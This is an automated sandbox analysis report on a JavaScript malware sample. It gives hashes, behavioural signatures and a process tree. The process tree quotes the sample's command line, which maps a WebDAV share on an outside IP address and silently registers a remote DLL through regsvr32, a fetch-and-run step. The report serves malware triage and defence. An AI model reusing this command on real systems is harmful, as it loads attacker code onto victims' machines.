Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
23-07-2024 07:44
Static task
static1
Behavioral task
behavioral1
Sample
121571219396632677.js
Resource
win7-20240705-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
121571219396632677.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
-
Target
121571219396632677.js
-
Size
4KB
-
MD5
9460ec6fb7d805bced2bcc34f3ba69d4
-
SHA1
9ba674fa166469cce90b0e10f8ed892b23e4ba62
-
SHA256
7779a1af35703cced2f84a9ce60f2f7a5d65d1aee19701e41f3eba6ea0c742e0
-
SHA512
b2881549629806aa69c0d357be8f3aa9b58f2b3596f106f6f189e17ae107f9bda2f0bd4e3f98e3f4d1c9570a2b15b9e370693ef4a9d8ec4ca56a313bca3d50df
-
SSDEEP
96:4KApnPdsfcGOwkKCawZyDZ/bhd7BAkihd7BCEEzZ5:dTgdetXAk6Xw
Score
3/10
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2264 wrote to memory of 2496 2264 wscript.exe 31 PID 2264 wrote to memory of 2496 2264 wscript.exe 31 PID 2264 wrote to memory of 2496 2264 wscript.exe 31 PID 2496 wrote to memory of 2340 2496 cmd.exe 33 PID 2496 wrote to memory of 2340 2496 cmd.exe 33 PID 2496 wrote to memory of 2340 2496 cmd.exe 33
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\121571219396632677.js1⤵
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\300081715224265.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2340
-
-